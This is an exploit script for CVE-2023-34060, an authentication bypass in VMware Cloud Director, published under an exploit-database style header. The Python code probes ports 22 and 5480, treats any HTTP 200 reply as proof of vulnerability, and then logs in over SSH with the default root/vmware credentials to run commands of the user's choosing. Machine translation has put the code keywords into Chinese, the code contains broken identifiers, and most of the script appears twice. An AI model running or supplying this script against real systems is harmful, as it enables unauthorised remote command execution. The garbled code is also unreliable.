#利用标题: [VMware云导演|旁路身份验证]
#Google Dork: [non]
#日期: [12/06/2023]
#漏洞作者: [abdualhadi khalifa](https://twitter.com/absholi_ly)
#版本: [10.5]
#CVE : [CVE-2023-34060]
导入请求
导入Paramiko
导入子过程
导入套接字
导入argparse
导入线程
#定义一个函数以检查端口是否打开
DEF IS_PORT_OPEN(IP,端口):
#创建一个套接字对象
s=socket.socket(socket.af_inet,socket.sock_stream)
#将超时设置为1秒
S.SetTimeOut(1)
#尝试连接到端口
TRY:
S.Connect((IP,端口))
#端口开放
返回true
Except:
#港口关闭
返回false
最后:
#关闭插座
s.close()
#定义一个功能来利用脆弱的设备
def exploit_device(IP,端口,用户名,密码,命令):
#创建一个SSH客户端对象
客户端=paramiko.sshclient()
#设定接受任何主机密钥的策略
client.set_missing_host_key_policy(paramiko.autoaddpolicy())
#使用凭据连接到目标
client.connect(ip,port,'root','vmware',ally_agent=false,look_for_keys=false)
#执行命令并获取输出
stdin,stdout,stderr=client.exec_command(命令)
#打印输出
print(在设备{ip} : {port} is: {stdout.read.eard()。decode()}')上打印(命令{命令}的输出
#关闭SSH连接
client.close()
#解析用户的参数
parser=argparse.argumentparser(Description='Python程序,用于检测和利用VMware Cloud Director中的CVE-2023-34060漏洞')
parser.add_argument('ip',help='目标IP地址')
parser.add_argument(' - p',' - ports',nargs='+',type=int,default=[22,5480],help='目标端口要检查')
parser.add_argument(' - u',' - username',默认='root',help='ssh'的用户名)
parser.add_argument(' - w',' - password',默认='vmware',help='ssh的密码)
parser.add_argument(' - c',' - command',默认='hostName',help='the命令在脆弱的设备上执行')
args=parser.parse_args()
#循环穿过端口并检查漏洞
对于Args.ports:中的港口
#检查端口是否打开
如果IS_PORT_OPEN(ARGS.IP,端口):
#端口是打开的,将get请求发送到端口并检查状态代码
响应=requests.get(f'http://{args.ip} : {port}')
if antsphy.status_code==200:
#港口是开放和脆弱的
print(f'port {port}很容易受到CVE-2023-34060'的攻击)
#创建一个线程来利用设备
thread=threading.thread(target=exploit_device,args=(args.ip,port,args.username,args.passs.password,args.command))
#开始线程
thread.start()
其他:
#端口是开放的,但不易受伤害
打印(f'port {port}不容易受到CVE-2023-34060'的影响)
其他:
#港口关闭
打印(f'port {port}已关闭')
#Google Dork: [non]
#日期: [12/06/2023]
#漏洞作者: [abdualhadi khalifa](https://twitter.com/absholi_ly)
#版本: [10.5]
#CVE : [CVE-2023-34060]
导入请求
导入Paramiko
导入子过程
导入套接字
导入argparse
导入线程
#定义一个函数以检查端口是否打开
DEF IS_PORT_OPEN(IP,端口):
#创建一个套接字对象
s=socket.socket(socket.af_inet,socket.sock_stream)
#将超时设置为1秒
S.SetTimeOut(1)
#尝试连接到端口
TRY:
S.Connect((IP,端口))
#端口开放
返回true
Except:
#港口关闭
返回false
最后:
#关闭插座
s.close()
#定义一个功能来利用脆弱的设备
def exploit_device(IP,端口,用户名,密码,命令):
#创建一个SSH客户端对象
客户端=paramiko.sshclient()
#设定接受任何主机密钥的策略
client.set_missing_host_key_policy(paramiko.autoaddpolicy())
#使用凭据连接到目标
client.connect(ip,port,'root','vmware',ally_agent=false,look_for_keys=false)
#执行命令并获取输出
stdin,stdout,stderr=client.exec_command(命令)
#打印输出
print(在设备{ip} : {port} is: {stdout.read.eard()。decode()}')上打印(命令{命令}的输出
#关闭SSH连接
client.close()
#解析用户的参数
parser=argparse.argumentparser(Description='Python程序,用于检测和利用VMware Cloud Director中的CVE-2023-34060漏洞')
parser.add_argument('ip',help='目标IP地址')
parser.add_argument(' - p',' - ports',nargs='+',type=int,default=[22,5480],help='目标端口要检查')
parser.add_argument(' - u',' - username',默认='root',help='ssh'的用户名)
parser.add_argument(' - w',' - password',默认='vmware',help='ssh的密码)
parser.add_argument(' - c',' - command',默认='hostName',help='the命令在脆弱的设备上执行')
args=parser.parse_args()
#循环穿过端口并检查漏洞
对于Args.ports:中的港口
#检查端口是否打开
如果IS_PORT_OPEN(ARGS.IP,端口):
#端口是打开的,将get请求发送到端口并检查状态代码
响应=requests.get(f'http://{args.ip} : {port}')
if antsphy.status_code==200:
#港口是开放和脆弱的
print(f'port {port}很容易受到CVE-2023-34060'的攻击)
#创建一个线程来利用设备
thread=threading.thread(target=exploit_device,args=(args.ip,port,args.username,args.passs.password,args.command))
#开始线程
thread.start()
其他:
#端口是开放的,但不易受伤害
打印(f'port {port}不容易受到CVE-2023-34060'的影响)
其他:
#港口关闭
打印(f'port {port}已关闭')